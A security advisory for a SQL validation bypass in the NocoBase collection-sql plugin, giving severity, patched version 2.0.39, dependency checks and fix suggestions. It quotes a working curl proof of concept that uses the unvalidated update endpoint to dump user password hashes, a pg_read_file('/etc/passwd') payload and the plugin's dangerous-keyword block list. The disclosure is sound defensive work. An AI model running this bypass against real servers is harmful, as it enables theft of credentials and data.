CVE-2026-41641: @nocobase/plugin-collection-sql SQL Validation Bypass Through Missing Vulnerability

HIGH
Advisory Identifier: GHSA-wrwh-c28m-9jjh
CVSS 7.2
CWE-89 CWE-284
Published
Advisory Summary

CVE-2026-41641 is a HIGH (CVSS 7.2) sql validation bypass through missing vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting @nocobase/plugin-collection-sql libraries in the npm ecosystem. The issue involves sql validation bypass through missing `checksql` call. Remediation is available by upgrading affected packages to version 2.0.39.

CVE-2026-41641 at a Glance

CVE Identifier CVE-2026-41641
GHSA Identifier GHSA-wrwh-c28m-9jjh
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product @nocobase/plugin-collection-sql
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-41641

To remediate this vulnerability, upgrade all affected @nocobase/plugin-collection-sql dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nocobase/plugin-collection-sql fixed: 2.0.39
npm install @nocobase/plugin-collection-sql@2.0.39
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @nocobase/plugin-collection-sql

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-41641, inspect your project dependencies using npm:

npm ls @nocobase/plugin-collection-sql

Analyze the terminal output to locate any version of @nocobase/plugin-collection-sql in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.39), your application is affected.

Note: The npm ls @nocobase/plugin-collection-sql command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In @nocobase/plugin-collection-sql, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. **Affected component:** `@nocobase/plugin-collection-sql` **Affected versions:** <= 2.0.32 (confirmed) **Minimum privilege:** Collection management permissions (`pm.data-source-manager.collection-sql` snippet) ## Vulnerable Code ### `checkSQL` is applied on create and execute `packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts` ```javascript // Line 51-60 — execute action: checkSQL IS called execute: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } // ... } ``` ### `checkSQL` is NOT applied on update ```javascript // Line 105-118 — update action: checkSQL IS NOT called update: async (ctx: Context, next: Next) => { const transaction = await ctx.app.db.sequelize.transaction(); try { const { upRes } = await updateCollection(ctx, transaction); // No checkSQL() call anywhere in this path! const [collection] = upRes; await collection.load({ transaction, resetFields: true }); await transaction.commit(); } // ... } ``` ### The `checkSQL` function itself `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28` ```javascript export const checkSQL = (sql: string) => { const dangerKeywords = [ 'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE', 'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ... ]; sql = sql.trim().split(';').shift(); if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) { throw new Error('Only supports SELECT statements or WITH clauses'); } if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) { throw new Error('SQL statements contain dangerous keywords'); } }; ``` ## PoC ```bash TOKEN="<admin_jwt_token>" # Step 1: Create collection with valid SQL (passes checkSQL) curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name": "exfil_collection", "sql": "SELECT 1 as id", "fields": [{"name": "id", "type": "integer"}], "template": "sql" }' # Step 2: Verify checkSQL blocks dangerous SQL on create curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}' # Returns: 400 "SQL statements contain dangerous keywords" # Step 3: Update with dangerous SQL — bypasses checkSQL entirely curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \ -X POST \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "sql": "SELECT * FROM users", "fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"} ] }' # Returns: 200 OK — no validation! # Step 4: Query the collection to exfiltrate data curl -s "http://TARGET:13000/api/exfil_collection:list" \ -H "Authorization: Bearer $TOKEN" # Returns: all rows from users table including password hashes ``` ## Impact - **Confidentiality:** Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes. - **Integrity/Availability:** Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass. - **Privilege escalation:** On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem. ## Fix Suggestion 1. **Add `checkSQL()` to the `update` action.** The one-line fix: ```javascript update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... } ``` 2. **Centralize validation in middleware** rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it. 3. **Strengthen the blocklist.** The current list is missing `COPY` (PostgreSQL file I/O and RCE), `CREATE`, `ALTER`, `DROP`, `GRANT`, `SET`, and `EXECUTE`. Consider switching to a parser-based allowlist that only permits `SELECT` and `WITH ... SELECT` at the AST level rather than relying on keyword blocklisting.

CVE-2026-41641 Affected @nocobase/plugin-collection-sql Versions

1 component(s)
Fixed Versions:
2.0.39
Product / Package Ecosystem Affected Versions Fixed Version
@nocobase/plugin-collection-sql
npm
< 2.0.39
2.0.39

References

Frequently Asked Questions

What is CVE-2026-41641?
CVE-2026-41641 is a security vulnerability in @nocobase/plugin-collection-sql involving SQL Validation Bypass Through Missing `checkSQL` Call under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which @nocobase/plugin-collection-sql versions are affected?
Affected versions include releases prior to 2.0.39 across affected packages: @nocobase/plugin-collection-sql.
What version fixes CVE-2026-41641?
Upgrading to 2.0.39 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nocobase/plugin-collection-sql affected?
Yes, @nocobase/plugin-collection-sql is affected in releases prior to 2.0.39. Upgrade your dependency to 2.0.39 or later.
What is the CVSS score of CVE-2026-41641?
CVE-2026-41641 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-41641?
CVE-2026-41641 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check npm dependencies for CVE-2026-41641?
Run the dependency tree command: 'npm ls @nocobase/plugin-collection-sql'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wrwh-c28m-9jjh",
  "modified" : "2026-05-08T20:10:02Z",
  "published" : "2026-04-22T20:07:11Z",
  "aliases" : [ "CVE-2026-41641" ],
  "summary" : "@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call",
  "details" : "## Summary\n\nThe `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.\n\n**Affected component:** `@nocobase/plugin-collection-sql`\n**Affected versions:** <= 2.0.32 (confirmed)\n**Minimum privilege:** Collection management permissions (`pm.data-source-manager.collection-sql` snippet)\n\n## Vulnerable Code\n\n### `checkSQL` is applied on create and execute\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts`\n\n```javascript\n// Line 51-60 — execute action: checkSQL IS called\nexecute: async (ctx: Context, next: Next) => {\n    const { sql } = ctx.action.params.values || {};\n    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n    // ...\n}\n```\n\n### `checkSQL` is NOT applied on update\n\n```javascript\n// Line 105-118 — update action: checkSQL IS NOT called\nupdate: async (ctx: Context, next: Next) => {\n    const transaction = await ctx.app.db.sequelize.transaction();\n    try {\n        const { upRes } = await updateCollection(ctx, transaction);\n        // No checkSQL() call anywhere in this path!\n        const [collection] = upRes;\n        await collection.load({ transaction, resetFields: true });\n        await transaction.commit();\n    }\n    // ...\n}\n```\n\n### The `checkSQL` function itself\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28`\n\n```javascript\nexport const checkSQL = (sql: string) => {\n  const dangerKeywords = [\n    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',\n    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...\n  ];\n  sql = sql.trim().split(';').shift();\n  if (!/^select/i.test(sql) && !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n    throw new Error('Only supports SELECT statements or WITH clauses');\n  }\n  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {\n    throw new Error('SQL statements contain dangerous keywords');\n  }\n};\n```\n\n## PoC\n\n```bash\nTOKEN=\"<admin_jwt_token>\"\n\n# Step 1: Create collection with valid SQL (passes checkSQL)\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"exfil_collection\",\n    \"sql\": \"SELECT 1 as id\",\n    \"fields\": [{\"name\": \"id\", \"type\": \"integer\"}],\n    \"template\": \"sql\"\n  }'\n\n# Step 2: Verify checkSQL blocks dangerous SQL on create\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\": \"blocked\", \"sql\": \"SELECT pg_read_file('\\''/etc/passwd'\\'')\", \"fields\": [], \"template\": \"sql\"}'\n# Returns: 400 \"SQL statements contain dangerous keywords\"\n\n# Step 3: Update with dangerous SQL — bypasses checkSQL entirely\ncurl -s \"http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection\" \\\n  -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"sql\": \"SELECT * FROM users\",\n    \"fields\": [\n      {\"name\": \"id\", \"type\": \"integer\"},\n      {\"name\": \"email\", \"type\": \"string\"},\n      {\"name\": \"password\", \"type\": \"string\"}\n    ]\n  }'\n# Returns: 200 OK — no validation!\n\n# Step 4: Query the collection to exfiltrate data\ncurl -s \"http://TARGET:13000/api/exfil_collection:list\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Returns: all rows from users table including password hashes\n```\n\n## Impact\n\n- **Confidentiality:** Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes.\n- **Integrity/Availability:** Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass.\n- **Privilege escalation:** On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem.\n\n## Fix Suggestion\n\n1. **Add `checkSQL()` to the `update` action.** The one-line fix:\n   ```javascript\n   update: async (ctx: Context, next: Next) => {\n       const { sql } = ctx.action.params.values || {};\n       if (sql) {\n           try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n       }\n       // ... existing code ...\n   }\n   ```\n\n2. **Centralize validation in middleware** rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it.\n\n3. **Strengthen the blocklist.** The current list is missing `COPY` (PostgreSQL file I/O and RCE), `CREATE`, `ALTER`, `DROP`, `GRANT`, `SET`, and `EXECUTE`. Consider switching to a parser-based allowlist that only permits `SELECT` and `WITH ... SELECT` at the AST level rather than relying on keyword blocklisting.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nocobase/plugin-collection-sql"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.39"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41641"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/pull/9134"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/commit/851aee543efa894142e0f7be03eb55d9cec06a91"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nocobase/nocobase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T20:07:11Z",
    "nvd_published_at" : "2026-05-07T06:16:05Z"
  }
}